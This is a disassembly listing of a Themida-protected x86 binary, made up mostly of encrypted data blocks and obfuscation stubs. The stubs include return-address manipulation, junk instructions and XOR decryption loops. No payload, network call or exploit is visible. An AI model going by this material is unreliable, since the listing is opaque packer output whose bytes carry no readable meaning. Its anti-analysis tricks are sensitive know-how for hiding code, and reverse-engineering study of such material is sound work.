		dd 0E3884CCEh, 3BFC22BAh, 1AA3E893h, 0D44D3DDDh, 0BBBF6E0Ah
		dd 292D84D0h, 68A4C1CDh, 8E3711DDh, 824D954Fh, 34h, 0A4A2A6F2h
		dd 9425D586h, 0A5D83CFCh, 4813D710h, 3BFC921Fh,	0DFCB05F6h
		dd 507D2E2Ch, 8E3BFC92h, 42FBCD91h, 464D95C9h, 88h, 3DFA8FE2h
		dd 0C2E22E1Dh, 62C80349h, 55BF780Fh, 7BBCC0A5h,	15CEFADFh
		dd 2FE890F5h, 0A74D307Bh, 873546DFh, 94549E4Ch,	0E4E388B2h
		dd 0A53CFB4Dh, 6F1174F6h, 0F59BFEACh, 1A6FF632h, 92B614C2h
		dd 11FFCh, 0BA730600h, 2FD8DC0h, 86417548h, 0BCCF1D4h
		dd 914A7A5Fh, 0A01CCED9h, 2A6FDB1Ch, 95E8A29Bh,	1A7F2BE4h
		dd 4EC5B56Eh, 86B6DF8Ch, 928F3BF5h, 52074994h, 9A61E922h
		dd 6A1E7327h, 0B5559227h, 0D7279346h, 0ECBF0349h, 46DFAAC3h
		dd 0E7A8F19Ah, 60D33822h, 3AF587FAh, 97074B30h,	4B83D6AAh
		dd 0D6A5B901h, 6EA08669h, 0D7E6231Dh, 38303A16h, 45096CCEh
		dd 0CC790502h, 9F52249Fh, 0A3F6A5B5h, 0CA3CFC2Ch, 50641921h
		dd 0ABD82397h, 523BFBACh, 1E7B8329h, 4983480Eh,	2B9F5860h
		dd 0E565A6D6h, 95BEED61h, 593BFC6Bh, 0E754F631h, 8EACE893h
		dd 6Ch,	0A223A81Eh, 985F63A4h, 4CDFD5A5h, 402C600h, 0D7C57526h
		dd 0C3A83CF4h, 0C1101467h, 67ED3005h, 0E0A80D2Dh, 6A1E7327h
		dd 51D5A9B1h, 0F4C3E10Ah, 82C7B43Bh, 0CED13BF4h, 0F654BE82h
		dd 0A343EF24h, 296CDE19h, 0CFA2A863h, 0D4DD7DBAh, 0A19E2F42h
		dd 4B04D2B9h, 0F7A1B0ADh, 0B13DC804h, 3AF02B51h, 0D07AB5C7h
		dd 33Eh, 0E0C86E00h, 41C90249h,	67E35C6Ch, 9EBC7502h, 0B753943Bh
		dd 0E169A2D2h, 1B3FF88Ch, 36D415A6h, 62E82F53h,	9A807F0Fh
		dd 4FDA68B9h, 2C890000h, 66B06824h, 3C890000h, 0E7895724h
		dd 4C781h, 0EF810000h, 4, 5C243C87h, 68243489h,	755Fh
		dd 0BE243489h, 69402677h, 2A4835BFh, 5EF72974h,	24348B54h
		dd 4C481h, 0B8500000h, 8, 8157F001h, 2A5D2404h,	8F0AA5h
		dd 2A5D2881h, 0FF580AA5h, 815E2434h, 4C4h, 2434FF00h, 4C4835Fh
		dd 0F959B0E9h, 0B9188CFFh, 23CCE8B9h, 0CF5C2823h, 49F7B41Eh
; ---------------------------------------------------------------------------


loc_5F4B08:				; CODE XREF: sub_5F45E7:loc_5F468Dj
		mov	eax, 0AEA2593h
		add	eax, ebp
		jmp	eax
sub_5F45E7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 10h,	3Eh, 73h
		dd 0DA107976h, 0EF6D697Bh, 237DA94Ch, 0B946D27Ch, 0A68FE06Bh
		dd 8013CA34h, 0CB633443h, 0EA8D8D38h, 0F80AEA26h, 8D89A0B7h
		dd 0AE31479h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 1Dh,	96C35646h, 0CC3466ABh, 0BC208ECFh, 799D89E2h, 0C70AE313h
		dd 0E306C985h, 6BB80Ah,	10E900h, 0B2560000h, 87D7C663h
		dd 0C788571Fh, 4D7FBA8Fh, 85C75135h, 0AE30069h,	0
; ---------------------------------------------------------------------------
		mov	[ebp+0AE31329h], ebx
		push	dword ptr [ebp+0AE321A1h]
		push	0
		push	edi
		call	sub_5F4BAB
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F4BAB	proc near		; CODE XREF: Themida_:005F4BA3p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_5F4BAB	endp

; ---------------------------------------------------------------------------
		push	552200E0h
		jmp	loc_5F4BCD
; ---------------------------------------------------------------------------
		align 2
		dw 496Fh
		dd 0DD7A4203h
		db 79h
; ---------------------------------------------------------------------------


loc_5F4BCD:				; CODE XREF: Themida_:005F4BC0j
		call	dword ptr [ebp+0AE326B5h]
		mov	eax, ecx
		push	0
		call	dword ptr [ebp+0AE31CD1h]
		mov	eax, eax
		jmp	short loc_5F4C00
; ---------------------------------------------------------------------------
		db 0B8h, 0DDh, 3Fh
		dd 29A97E51h, 54A47BC1h, 7E316BAEh, 44386589h, 0A0690E54h
		dd 7D014D13h, 918307E9h
; ---------------------------------------------------------------------------


loc_5F4C00:				; CODE XREF: Themida_:005F4BDFj
		lea	ecx, [ebp+0AEA2811h]
		push	0
		push	ecx
		call	sub_5F4C11
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F4C11	proc near		; CODE XREF: Themida_:005F4C09p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5F4C11	endp

; ---------------------------------------------------------------------------
		db 0BBh, 0Fh, 0B7h
; ---------------------------------------------------------------------------
		icebp
		mov	ah, dl
		mov	[ebp+0AE31479h], ecx
		jnz	loc_5F4C38
		sub	si, 28D5h


loc_5F4C38:				; CODE XREF: Themida_:005F4C2Dj
		mov	dword ptr [ebp+0AE306C9h], 68FCh
		push	0
		push	eax
		call	sub_5F4C4D
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F4C4D	proc near		; CODE XREF: Themida_:005F4C45p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_5F4C4D	endp

; ---------------------------------------------------------------------------
		db 18h,	2Dh, 0DBh
		dd 540E1925h, 0AE8BBD8h, 0D6000000h, 7C78EC9Bh,	4E821B2h
		dd 0B5895FEDh, 0AE317F1h, 6985C7h, 0AE3h, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 3F3D56C3h, 3880Fh, 8B660000h, 61B5FFDAh, 6A0AE311h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 0D3E3C353h, 1CA5BD89h, 0B5890AE3h, 0AE32CC1h
		dd 26B595FFh, 8B600AE3h, 0E3312D95h, 0AE80Ah, 525A0000h
		dd 4AD0A8C5h, 145A4F76h, 615B6160h, 95FF006Ah, 0AE31CD1h
		dd 1DEBC08Bh, 514798F8h, 28AAC116h, 0A325E51Dh,	0F4982FF8h
		dd 4C07830h, 8761D005h,	0AF260D39h, 10E8F7h, 9C520000h
		dd 0BC9634E0h, 9D67C918h, 0F44D8CEBh, 850BD5D7h, 0AE3225Dh
		dd 5FC9805Fh, 6490C781h, 85890000h, 0AE31261h, 18F9BAh
		dd 0E7BBBB00h, 37FF157Ah, 3DB807B9h, 81665E07h,	810157E0h
		dd 42F7BDF6h, 899D8911h, 810AE325h, 8F94C4C6h, 5D9D8B2Dh
		dd 810AE315h, 727075F6h, 11E831h, 66530000h, 0EC8EE32Ch
		dd 0CD2C38FDh, 28179745h, 0BBDCC0E0h, 3240465Ah, 0F9378958h
		dd 8904EF83h, 0E307F9B5h, 1EA830Ah, 12850Fh, 95890000h
		dd 0AE317D5h, 19E9h, 8205CE00h,	84663BC3h, 0E9C2CB80h
		dd 0FFFFFF8Ah, 3D291DC4h, 0EAFB4168h, 12E87C01h, 53000000h
		dd 0F10D72E1h, 0A1A5A902h, 0B982EBABh, 3859ACA3h, 658D8948h
		dd 5B0AE322h, 6136C681h, 0C3816579h, 670Ch, 0E9C033FCh
		dd 0Fh,	0BA388B5Bh, 546DB872h, 64D042B1h, 8B0EC5F0h, 15B90314h
		dd 8167639Ch, 0CC98F5F2h, 81F38B1Bh, 37FC04EAh,	0F1858919h
		dd 810AE316h, 87DD18F2h, 2830F3Eh, 0B5000000h, 314897Ch
		dd 11E9h, 0D95E1500h, 0CA476B64h, 4B164BE1h, 0E90DFACDh
		dd 0C981FFB7h, 71EA68Dh, 0F902E883h, 0B5014848h, 0AE32375h
		dd 9990F881h, 850FFFFFh, 0FFFFFF9Fh, 8DF3BF0Fh,	0EA2A628Dh
		dd 50006A0Ah, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 8706B9FFh, 0E52AC544h, 5E9h, 0BEFC6300h
		dd 8D893205h, 0AE31479h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 18h, 0EC35545h, 0CF4D49D1h, 0D5C68166h, 0C9BD8900h
		dd 0C70AE307h, 0E306C985h, 74A80Ah, 71958B00h, 0C70AE31Fh
		dd 0E3006985h, 0Ah, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 7FE40B16h, 7CC35D77h
		dd 529B5FFh, 6A0AE3h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 85D7E4C3h, 0FF7A8232h, 0E326B595h
		dd 0FF006A0Ah, 0E31CD195h, 0EBC08B0Ah, 19778B4Dh, 61A4B608h
		dd 0EDB43C13h, 247C8A89h, 0D3108194h, 10DFE46Bh, 0A43191E1h
		dd 21CB5B5Ah, 62E9DEC7h, 7E49300Bh, 88FB2F51h, 1C73A60Bh
		dd 0FB1D0E00h, 0FD111786h, 0A43F4A8Bh, 0FD62118h, 0D1D8DA22h
		dd 82750553h, 113F9DD3h, 8D8D7A55h, 0AEA2B79h, 0A3E78166h
		dd 54BA6626h, 798D890Ch, 6A0AE314h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0F7DC353h
		dd 287h, 0C760B400h, 0E306C985h, 61800Ah, 120EBB00h, 950B2360h
		dd 0AE32161h, 6985C7h, 0AE3h, 0B1B80000h, 514E4A40h, 2B919D8Bh
		dd 0FF5E0AE3h, 0E31161B5h, 10E90Ah, 0CCE70000h,	50258030h
		dd 0AC32771Eh, 0E35760DEh, 890F584Bh, 6, 0CDBD33h, 95FF0AE3h
		dd 0AE326B5h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 19h,	76C35141h, 2A458E1Ah, 1DA7BB65h, 0BD8B2C34h, 0AE31DF5h
		dd 95FF006Ah, 0AE31CD1h, 1DEBC08Bh, 0D53475BFh,	0D4FABA70h
		dd 0A7831DE6h, 3CCCB3CFh, 56FFA63Fh, 0A2F8407Eh, 0B76AEEACh
		dd 658D8D46h, 660AEA2Ch, 89A951BFh, 0E314798Dh,	5870F0Ah
		dd 0BE000000h, 3C76F5E8h, 0C985C7F8h, 0C00AE306h, 66000058h
		dd 85C7C18Bh, 0AE30069h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5F50CB
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F50CB	proc near		; CODE XREF: Themida_:005F50C3p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_5F50CB	endp

; ---------------------------------------------------------------------------
		daa
		mul	edx
		mov	edi, 62F925DFh
		adc	dx, 0D803h
		push	dword ptr [ebp+0AE32C91h]
		push	0
		push	edi
		call	sub_5F50F9
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F50F9	proc near		; CODE XREF: Themida_:005F50F1p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_5F50F9	endp

; ---------------------------------------------------------------------------
		db 0D0h, 2 dup(0EDh)
; ---------------------------------------------------------------------------
		sub	[esi-63h], dh
		push	esi
		jmp	loc_5F5123
; ---------------------------------------------------------------------------
		db 19h,	7Ah, 0C2h
		dd 624E4659h, 74D8878Ah
		db 0A1h, 64h, 0F3h
; ---------------------------------------------------------------------------


loc_5F5123:				; CODE XREF: Themida_:005F5110j
		pop	esi
		sub	bl, 0A2h
		call	dword ptr [ebp+0AE326B5h]
		mov	di, ax
		jnb	loc_5F5150
		call	sub_5F514C
		hlt
; ---------------------------------------------------------------------------
		dd 0C406E464h, 1BCDD2C4h, 0E1A0E7CFh, 0D740C3C1h

; =============== S U B	R O U T	I N E =======================================



sub_5F514C	proc near		; CODE XREF: Themida_:005F5136p
		mov	ax, di
		pop	ebx


loc_5F5150:				; CODE XREF: Themida_:005F5130j
		push	0
		call	dword ptr [ebp+0AE31CD1h]
		mov	eax, eax
		jmp	short loc_5F5188
; ---------------------------------------------------------------------------
		dd 0E43EBAECh, 32B6EE40h, 0D6419D55h, 5323BCEFh, 0F59FDFFh
		dd 0EB35DFEFh, 0C0761524h, 16F73B12h, 0CCF4845Fh, 0A160B80Fh
		dd 5F19B418h
; ---------------------------------------------------------------------------


loc_5F5188:				; CODE XREF: sub_5F514C+Ej
		call	near ptr loc_5F5198+4
		adc	[edx+40A9F794h], ah
		cmp	eax, 0C9319C79h


loc_5F5198:				; CODE XREF: sub_5F514C:loc_5F5188p
		mov	esi, 0F5EF5C48h
sub_5F514C	endp ; sp-analysis failed

		pop	esi
		jz	loc_5F51AA
		or	[ebp+0AE31ED1h], edi


loc_5F51AA:				; CODE XREF: Themida_:005F519Ej
		add	esi, 6CD0h
		push	ecx
		jb	loc_5F51C8	; CODE XREF: Themida_:005F51E2j
		jmp	loc_5F51C8
; ---------------------------------------------------------------------------
		dd 0B7F26A3Bh, 0A4954B5Eh, 24854FEh
; ---------------------------------------------------------------------------


loc_5F51C8:				; CODE XREF: Themida_:005F51B1j
					; Themida_:005F51B7j
		pop	edi
		push	1AFEh
		pusha
		jbe	loc_5F51DB
		mov	[ebp+0AE329A9h], edx


loc_5F51DB:				; CODE XREF: Themida_:005F51CFj
		pusha
		call	sub_5F51F1
		daa
		db	26h
		loope	near ptr loc_5F51B1+3
		fiadd	dword ptr [eax]	; (emulator call)
		cwde
		jmp	fword ptr [eax+50EBE16Ah]
; ---------------------------------------------------------------------------
		db 64h
		db 70h

; =============== S U B	R O U T	I N E =======================================



sub_5F51F1	proc near		; CODE XREF: Themida_:005F51DCp
		pop	ecx
		mov	[ebp+0AE30235h], edi
		popa
		popa
		pop	ecx
		sub	[ebp+0AE32151h], esi


loc_5F5201:				; CODE XREF: sub_5F51F1+72j
		push	dword ptr [esi]
		jmp	loc_5F520D
; ---------------------------------------------------------------------------
		dd 4A2144F3h
		db 0EDh
; ---------------------------------------------------------------------------


loc_5F520D:				; CODE XREF: sub_5F51F1+12j
		pop	edx
		add	edx, 0B09C899h
		jmp	loc_5F5224
; ---------------------------------------------------------------------------
		db 15h,	80h, 50h
		dd 0DA82D2E3h, 69F3D338h
; ---------------------------------------------------------------------------


loc_5F5224:				; CODE XREF: sub_5F51F1+23j
		xor	edx, 3F3D6105h
		or	edi, 6BB9A71Dh
		xor	edx, 772A3B13h
		xor	[ebp+0AE317E5h], eax
		push	edx
		cld
		pop	dword ptr [esi]
		pusha
		mov	di, bx
		mov	[ebp+0AE308C5h], esi
		popa
		sub	esi, 4ACCEC15h
		mov	[ebp+0AE31975h], ecx
		add	esi, 4ACCEC11h
		sub	ecx, 1
		jnz	loc_5F5201
		lea	ecx, [ebp+0AEA2E25h]
		push	0
		push	edi
		call	sub_5F527A
		and	[edi-3Dh], bl
sub_5F51F1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5F527A	proc near		; CODE XREF: sub_5F51F1+81p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_5F527A	endp

; ---------------------------------------------------------------------------
		dw 336Ch
; ---------------------------------------------------------------------------
		mov	ch, 25h
		db	26h
		jecxz	short near ptr loc_5F5298+3
		mov	[ebp+0AE31479h], ecx
		pusha


loc_5F5298:				; CODE XREF: Themida_:005F528Ej
		jmp	loc_5F52A9
; ---------------------------------------------------------------------------
		db 6Dh,	0F9h, 1Dh
		dd 0C122344Ch, 579FF0BEh
		db 8
; ---------------------------------------------------------------------------


loc_5F52A9:				; CODE XREF: Themida_:loc_5F5298j
		or	edx, [ebp+0AE31F29h]
		popa
		mov	dword ptr [ebp+0AE306C9h], 6680h
		push	0
		push	edx
		call	sub_5F52C5
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F52C5	proc near		; CODE XREF: Themida_:005F52BDp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_5F52C5	endp

; ---------------------------------------------------------------------------
		db 8Eh,	95h, 0E9h
		dd 8F21432Fh, 6985C7h, 0AE3h, 8E0F0000h, 6, 4AD8D89h, 0B5FF0AE3h
		dd 0AE31161h, 3ADC88BBh, 0B595FF02h, 0E90AE326h, 8, 0BE89590Fh
		dd 5B1AA508h, 95FF006Ah, 0AE31CD1h, 1DEBC08Bh, 85A605EAh
		dd 746E6C5Bh, 0E2377D6Fh, 38AD8528h, 2849F27Ch,	0AB2ED5B2h
		dd 0C1EE25DEh, 6E852h, 78CD0000h, 6C8C5C77h, 5E42F580h
		dd 4512B966h, 67D2C681h, 0F3810000h, 0E438E0Eh,	19BC68h
		dd 559D0B00h, 580AE303h, 0CE860h, 598C0000h, 8159D758h
		dd 0DC514DE3h, 8B5AF030h, 3E8B61CEh, 369BD89h, 0C7810AE3h
		dd 482D7A07h, 1F7D9589h, 0EF810AE3h, 6D2E826Ch,	0A31B589h
		dd 0EF810AE3h, 3041877Ah, 1881958Bh, 66570AE3h,	3283DA81h
		dd 8E0F068Fh, 6, 17899D29h, 0EE810AE3h,	0EDC7E0Bh, 158F0F60h
		dd 0E9000000h, 10h, 38673E8Fh, 0B07800D6h, 1F47E6EEh, 86D9E017h
		dd 1A5D9509h, 81610AE3h, 0DC7E07C6h, 79BB600Eh,	811996FBh
		dd 566DE7DAh, 0F486167h, 1B85h,	49958B00h, 0E90AE319h
		dd 1Ch,	58AF41D4h, 0EFBA9FDDh, 2D001110h, 0CA3EA813h, 5BE9CB8Ah
		dd 72FFFFFFh, 0E138F886h, 12E8h, 0FC145B00h, 0EC383D79h
		dd 0A77A6C07h, 829B1C5Ch, 59947189h, 0FABF0F52h, 0C9C1815Fh
		dd 8B000067h, 19B868C3h, 12E80000h, 0C4000000h,	6EE27565h
		dd 0DF157FD2h, 9BA7CFDBh, 0F5F6D2AFh, 9B50B86h,	580AE321h
		dd 9D8B605Bh, 0AE326B9h, 14E9h,	24233F00h, 0E2B9E30Dh
		dd 0D5EA078Ah, 0AABE1BD6h, 3708501Fh, 118B6107h, 8858C281h
		dd 0EE92C78h, 70000000h, 335F5BCEh, 0FCDA4E0Eh,	728BC547h
		dd 0FBC281FFh, 893837BAh, 0E32DD98Dh, 0B3EA810Ah, 5211A7F9h
		dd 148D0Fh, 0FE90000h, 0E0000000h, 0CCD8EF32h, 9E763BB3h
		dd 0E26F5313h, 18F08B0h, 68C0Fh, 9D010000h, 0AE32935h
		dd 0BDA1E981h, 8B660BD2h, 9DC181F1h, 0E90BD2BDh, 13h, 0C1FFC738h
		dd 0BBFC0EF1h, 8BF9D37Eh, 7435AE76h, 833C648Ch,	850F01EBh
		dd 0FFFFFF7Ah, 8E8ACB4h, 0B0000000h, 0E1C3B043h, 0FCA0EEC2h
		dd 7E95Fh, 1B790000h, 800D1BDBh, 0EEC78118h, 66000070h
		dd 0C02BDF8Bh, 0E864F181h, 34FF56FFh, 0DE838h, 9B2D0000h
		dd 0B13A9F5Dh, 0E4717948h, 29C32E7Dh, 0E300418Dh, 0E95E590Ah
		dd 11h,	40E43EBAh, 5532B6EEh, 0EFD6419Dh, 0FF5323BCh, 6BC681FDh
		dd 0F9357382h, 39A3EE81h, 9D8B672Ah, 0AE30A59h,	2466C681h
		dd 56F939F6h, 8FD68B66h, 0FE90704h, 0F7000000h,	17B017EFh
		dd 9464A48Bh, 95C06F41h, 0B5890BCBh, 0AE33071h,	0E804E883h
		dd 8, 0FA2E225Bh, 8984A2E0h, 48F0Fh, 0B9660000h, 815ABFE8h
		dd 0FF9000F8h, 1D850FFFh, 0F000000h, 68Fh, 0D5958B00h
		dd 0E90AE32Ch, 25h, 34C53638h, 3E4396E5h, 0A8573F33h, 28F59D0Bh
		dd 43E90AE3h, 32FFFFFFh, 17C12D8Eh, 6D4AA1A2h, 0FDE2CA1Eh
		dd 34AC429Eh, 7C2406A2h, 0B37D7AA2h, 0D327733Bh, 0B42A218Ch
		dd 30259083h, 3025C46Fh, 9D98A786h, 302FF191h, 305A8D89h
		dd 8DA68486h, 3AC66C2Fh, 42A12E86h, 0F6259086h,	0D339B903h
		dd 0FA4D6A8Ch, 0B1862A8Dh, 0FB532D82h, 85DA818Ch, 3AC6552Bh
		dd 9CD6A40Bh, 0E0DA9A60h, 0B5E3B80Dh, 3AC63877h, 0BB387AC8h
		dd 4A4F8F1h, 579D9A2h, 9990BDDFh, 0BD2FC2A8h, 0D6896303h
		dd 0BBF5B78Ch, 30359D7Eh, 38CC1286h, 96250986h,	302B0189h
		dd 3B6C4286h, 0C0A02E4Fh, 0D9DA6F79h, 3025488Bh, 7E4BB90Bh
		dd 359D1865h, 0CF250986h, 2B980965h, 0BD2FA8B7h, 0DA14F80Bh
		dd 1537288Ch, 0FF0ECEB6h, 34AC4247h, 7C2406A2h,	0B37D7AA2h
		dd 0D327733Bh, 0B42A218Ch, 30259083h, 3025C46Fh, 8398A786h
		dd 0A4F305E9h, 22B9h, 0EE800h, 89160000h, 75C08F4Dh, 0DB2A7BDFh
		dd 1176C428h, 0F95BC38Ah, 5A8FC381h, 0BF660000h, 6DB94658h
		dd 8148FD73h, 0FD6519F1h, 3850F48h, 66000000h, 33FFF78Bh
		dd 14E8h, 568DFE00h, 461323FCh,	616078D0h, 0CD9B637h, 4753AB89h
		dd 9E9A2h, 88770000h, 97D943E7h, 58111A3Bh, 81BD295Ah
		dd 810AE323h, 0EF350EAh, 9D958937h, 810AE326h, 0CAA881EAh
		dd 0D858B58h, 810AE314h, 7CA8B4F2h, 0D2B8662Ah,	0E813891Fh
		dd 5, 0E4A0C4A2h, 6830FB2h, 0F000000h, 86h, 0EB815F00h
		dd 31000801h, 8D0Fh, 0C3810000h, 310007FDh, 1ED1BD89h
		dd 0E9830AE3h, 73850F01h, 8BFFFFFFh, 0E32F15BDh, 4B8D8D0Ah
		dd 0E90AEA33h, 8, 0EE13EBBAh, 388ED747h, 14798D89h, 85C70AE3h
		dd 0AE306C9h, 5888h, 0C820Fh, 8B0F0000h, 6, 353D9D89h
		dd 85C70AE3h, 0AE30069h, 0
; ---------------------------------------------------------------------------
		or	bl, 18h
		push	dword ptr [ebp+0AE32DF5h]
		push	0
		push	ebx
		call	sub_5F580C
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F580C	proc near		; CODE XREF: Themida_:005F5804p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_5F580C	endp

; ---------------------------------------------------------------------------
		dd 5CBF144Ch, 50DB3234h, 0B589D1B4h, 0AE309BDh,	26B595FFh
		dd 0BE660AE3h, 6AA75Ah,	1CD195FFh, 0C08B0AE3h, 96C00EEBh
		dd 50DE9CB0h, 887D86B1h, 0CC3149CDh, 0BE8h, 6BEA0500h
		dd 8C37079Dh, 0E2D55EF9h, 198E0Fh, 14E90000h, 45000000h
		dd 1B37ACE1h, 0C0897329h, 179FB02Fh, 5DC21660h,	5BD7C7A0h
		dd 0D3C28166h, 0D0C38126h, 0E900006Ch, 14h, 7AB81907h
		dd 3039309Bh, 93612477h, 0F2767772h, 0BA5B0BEBh, 1B0368h
		dd 81B58B00h, 590AE329h, 8BF7B70Fh, 0FBEA8103h,	81132A91h
		dd 0FA6A17E8h, 0E9958912h, 810AE325h, 0F43927C0h, 0BE907h
		dd 16D60000h, 96C2F928h, 0C50F8F42h, 62F08183h,	0E918062Ch
		dd 13h,	0C1230ADFh, 58C0FCADh, 87EE53A4h, 0B9AF283Ch, 50CB8056h
		dd 38FFA8Bh, 33419D09h,	0EB830AE3h, 21BF6603h, 950B4BEBh
		dd 0AE32921h, 0F01E983h, 0FFFF9685h, 2AE9FFh, 729F0000h
		dd 34E2h, 9 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5F6227
; ---------------------------------------------------------------------------
		db 16h,	63h, 0AAh
		dd 32ED9DF0h, 0B6710578h, 3BFC81C4h, 817A0A4Fh,	0B02CDEC9h
		dd 3A1FCB0Ch, 0A598528Bh, 2A6FDB14h, 5EF5A59Eh,	77A6CF9Ch
		dd 827F3BF5h, 0AB537F84h, 711B46DFh, 0CFA11A36h, 782B0600h
		dd 4ADDAE82h, 2EEE7D23h, 94478037h, 0DABABEB8h,	0F5E872ABh
		dd 0E4570AC5h, 0CD9C2346h, 71DA40BBh, 0D58652BEh, 3CFC6B25h
		dd 0CBBBE308h, 897EE0EEh, 2F5134D6h, 0B1DB3EECh, 0CBF1D476h
		dd 100D0A10h, 95385D4Eh, 6B117854h, 0A441FAB0h,	0AC4D9586h
		dd 61h,	0C40749D8h, 9A5D6346h, 3E538770h, 40CB4F88h, 9575F914h
		dd 0D97228E3h, 4776D42Ch, 4024h, 7495000h, 7A0366C4h, 0A02E9DBDh
		dd 706649FBh, 0EE0A4639h, 8542776Ah, 63CDF6A5h,	0FBA046DFh
		dd 64628E91h, 0EF2446DFh, 4C1DA343h, 0EE5DFD3Ah, 0AD4C3F3Bh
		dd 170DC0DEh, 123494C0h, 34h, 0B123A88Ah, 9FC8935Dh, 7646DF78h
		dd 0A2195285h, 0EB9DFCD8h, 52812A30h, 1A46DF11h, 34A9B16Ah
		dd 7AC14986h, 0ACAE6911h, 4830B253h, 4D5D013Ch,	20AC03Bh
		dd 7AA7D4A8h, 8360B510h, 8A9BC4D7h, 897246DFh, 0C3C5854Fh
		dd 12A21D61h, 6DF4E6D9h, 0FC70FAADh, 1A41F199h,	46DF43F1h
		dd 0E664D7C4h, 46833415h, 5625190Ah, 63083CFCh,	37F082E7h
		dd 0FD8AEF43h, 0DB350604h, 0EF9DCCFEh, 3DB9C8B4h, 9B4EB41Bh
		dd 0CF598C7Fh, 0DADAC2D0h, 0AC262497h, 0CB905AACh, 3218961Fh
		dd 5A608DFEh, 0FE24A387h, 0B4860F0Bh, 0B426B30h, 9C2A46DFh
		dd 4654A7A3h, 0DD7DBAC3h, 0A451BB6Eh, 61A6E83Ah, 0E52254A9h
		dd 0B1D3665h, 10D446DFh, 0B8944F7Dh, 0BDC1218Dh, 28AC807Ah
		dd 0DF0B5A83h, 0B7700246h, 485CB863h, 51A5A5A6h, 0D4A82088h
		dd 0AAE20B50h, 0D0BB46DFh, 0DFAB94BDh, 0F5325846h, 0BF9AF6A5h
		dd 0D8BCD20Dh, 0DCE68FD0h, 4EEA4476h, 9A000000h, 85A5A5A6h
		dd 3F19DEE0h, 0DA03A8EFh, 0B346DFAAh, 104BCCBFh, 0B9B0F09Eh
		dd 0DF993D66h, 2E6B1046h, 4DEDA099h, 9979A2C9h,	5F4C46DFh
		dd 99A7D09Bh, 8D7E46DFh, 0A86343h, 0ACC20549h, 2C8A2686h
		dd 0F6000000h, 0B3487C85h, 1E7AAE07h, 8035A80Eh, 0AB426B30h
		dd 701B46DFh, 0D48953BDh, 3A82076h, 46DFAADAh, 0A8DB2B9Eh
		dd 0C2054900h, 492686ACh, 26094803h, 0D8B545A4h, 77B6E565h
		dd 2746DC0Dh, 0FB0ED996h, 0C8A58981h, 0ED90F515h, 0D9742E2Ch
		dd 112E6315h, 0D40FBD4Dh, 1DAFC266h, 0F9D33822h, 2F2BEC90h
		dd 59C13A4Ah, 75955264h, 771EA206h, 2F6C00B1h, 0F7BE5C9Bh
		dd 3DE4945Eh, 384C5E00h, 77F00BFFh, 7D477292h, 19h, 0C8034929h
		dd 7EC88042h, 0A547AFFCh, 6D1E3CFCh, 9F4380EDh,	0C8827D0Fh
		dd 8B23A8C0h, 3A121E07h, 0CABD7E01h, 0B0E1AB8Eh, 0FD4ECC0Dh
		dd 8642000Ah, 0F1F1BA80h, 0A43CFC1Eh, 0BACE03F7h, 0B265A2D7h
		dd 58F503A8h, 94ADBF8Ah, 1645D9CAh, 0B84DE8EDh,	98F1DBC0h
		dd 0E4337F0h, 25B9817Ah, 4DE94D76h, 117B20B8h, 7C0065F9h
		dd 60AC9FBBh, 0C664E2E6h, 6AE90195h, 4B3FECAEh,	0CC5F297h
		dd 0A5A6DCC0h, 0CD4D8A33h, 0AB396209h, 1F0C46DFh, 1C71F9ACh
		dd 4559B36Ch, 5E87D4A8h, 3746DFABh, 0B8E00844h,	0B6C80349h
		dd 0E68FD0D8h, 0DC4476DCh, 0AAEA1358h, 0D8C343DFh, 444AFCh
		dd 0A83A0000h, 0C2488335h, 18D51F79h, 23A8DC32h, 34AA1A77h
		dd 0D7236D49h, 0DF2D5B84h, 0ABDF3246h, 0AA1DEE6Ch, 4900A854h
		dd 1378C205h, 6DC79DD4h, 0D0D40023h, 448A2686h,	0F6000000h
		dd 0AB002972h, 26D546DFh, 0A5A6BAEAh, 3A851A5h,	46DFAADAh
